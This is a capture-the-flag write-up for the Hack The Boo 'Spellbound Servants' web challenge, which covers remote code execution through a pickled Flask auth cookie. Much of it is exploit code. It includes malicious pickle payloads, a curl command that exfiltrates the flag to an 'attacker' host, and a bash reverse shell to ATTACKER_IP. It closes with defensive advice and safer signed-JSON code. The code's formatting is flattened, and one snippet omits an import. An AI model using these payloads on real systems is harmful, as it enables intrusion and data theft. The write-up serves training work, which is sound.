HTB Hack The Boo Practice: Web Spellbound Servants
Challenge Information
| Attribute | Details |
|---|---|
| Event | Hack The Boo Practice |
| Category | Web |
| Challenge | Web Spellbound Servants |
| Difficulty | Very Easy |
Summary
A Flask web application stores user session data in base64-encoded pickled objects. After authentication, the user data is serialized using Python’s pickle module, which is known to be insecure. An attacker can craft a malicious pickled object that executes arbitrary code during deserialization, leading to remote code execution when the application loads the authentication cookie.
Analysis
The vulnerable code:
def login_user_db(username, password): user = query('SELECT username FROM users WHERE username = %s AND password = %s', (username, password,), one=True)
if user: # VULNERABLE: Pickling user object without sanitization pickled_data = base64.b64encode(pickle.dumps(user)) return pickled_data.decode("ascii") else: return FalseThe auth cookie is set with:
@api.route('/login', methods=['POST'])def api_login(): # ... validation code ... user = login_user_db(username, password)
if user: res = make_response(response('Logged In sucessfully')) res.set_cookie('auth', user) # Sets pickled user data as cookie return resCritical Issues:
- Insecure Deserialization: Pickle is used to serialize user objects
- Untrusted Cookie Data: An attacker can craft malicious pickled objects
- No Signature Verification: The pickled data is not cryptographically signed
- Direct Deserialization: The application likely deserializes the cookie without validation
Solution
Step 1: Create a Malicious Pickle Object
Python’s pickle module can execute arbitrary code during deserialization. Use the pickle module to craft a payload:
import pickleimport base64import os
# Create a malicious payload using pickle# This will execute a system command when unpickledclass RCE: def __reduce__(self): # Execute command and read flag return (os.system, ('cat flag.txt > /tmp/flag.txt',))
# Alternatively, use this more sophisticated approachimport subprocess
class Exploit: def __reduce__(self): return (subprocess.Popen, (['cat', 'flag.txt'],))Step 2: Generate the Base64-Encoded Cookie
import pickleimport base64import subprocess
# Create malicious objectclass Exploit: def __reduce__(self): # Execute command that writes flag to accessible location return (os.system, ('cat flag.txt > /tmp/flag.txt; chmod 777 /tmp/flag.txt',))
# Serialize and encodemalicious_obj = Exploit()payload = base64.b64encode(pickle.dumps(malicious_obj)).decode('ascii')
print("Malicious Cookie:")print(payload)Step 3: Send the Cookie to the Application
# Using curl with the malicious cookiecurl -H "Cookie: auth=<MALICIOUS_PAYLOAD>" http://target:1337/homeStep 4: Full Exploitation Script
import requestsimport pickleimport base64import subprocessimport os
# Create RCE payloadclass RCE: def __reduce__(self): # Read and exfiltrate flag cmd = "cat flag.txt > /tmp/flag && curl -X POST -d @/tmp/flag http://attacker:8000/exfil" return (os.system, (cmd,))
# Serialize the payloadpayload = base64.b64encode(pickle.dumps(RCE())).decode('ascii')
# Send request with malicious cookieurl = "http://target:1337/home"cookies = {"auth": payload}
response = requests.get(url, cookies=cookies)print(response.text)Alternative Method: Direct Reverse Shell
import pickleimport base64import socketimport subprocessimport os
class RCE: def __reduce__(self): # Reverse shell payload return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1',))
payload = base64.b64encode(pickle.dumps(RCE())).decode('ascii')print(payload)Using a Python HTTP Request:
import requestsimport pickleimport base64import os
class Exploit: def __reduce__(self): return (os.system, ('cat flag.txt',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode('ascii')
# Set malicious cookiecookies = {'auth': payload}r = requests.get('http://target:1337/home', cookies=cookies)print(r.text)Key Takeaways
- Never use pickle for untrusted data - It allows arbitrary code execution during deserialization
- Use JSON instead of pickle for serialization when possible
- If serialization is needed, use safe alternatives:
jsonmodule (safe, human-readable)msgpack(fast, but needs signed verification)protobuf(strongly typed, safe)
- Always cryptographically sign serialized data using HMAC
- Validate and verify cookie data before deserialization
- Use secure session management frameworks (Flask-Session, Django sessions) that handle this safely
- Example of safer code:
import jsonimport hmacimport hashlib
SECRET_KEY = b"your-secret-key"
def create_secure_session(user_data): # Use JSON instead of pickle json_data = json.dumps(user_data) # Sign the data signature = hmac.new(SECRET_KEY, json_data.encode(), hashlib.sha256).hexdigest() return f"{json_data}.{signature}"
def verify_and_load_session(session_token): try: json_data, signature = session_token.rsplit('.', 1) expected_sig = hmac.new(SECRET_KEY, json_data.encode(), hashlib.sha256).hexdigest() if hmac.compare_digest(signature, expected_sig): return json.loads(json_data) except: return None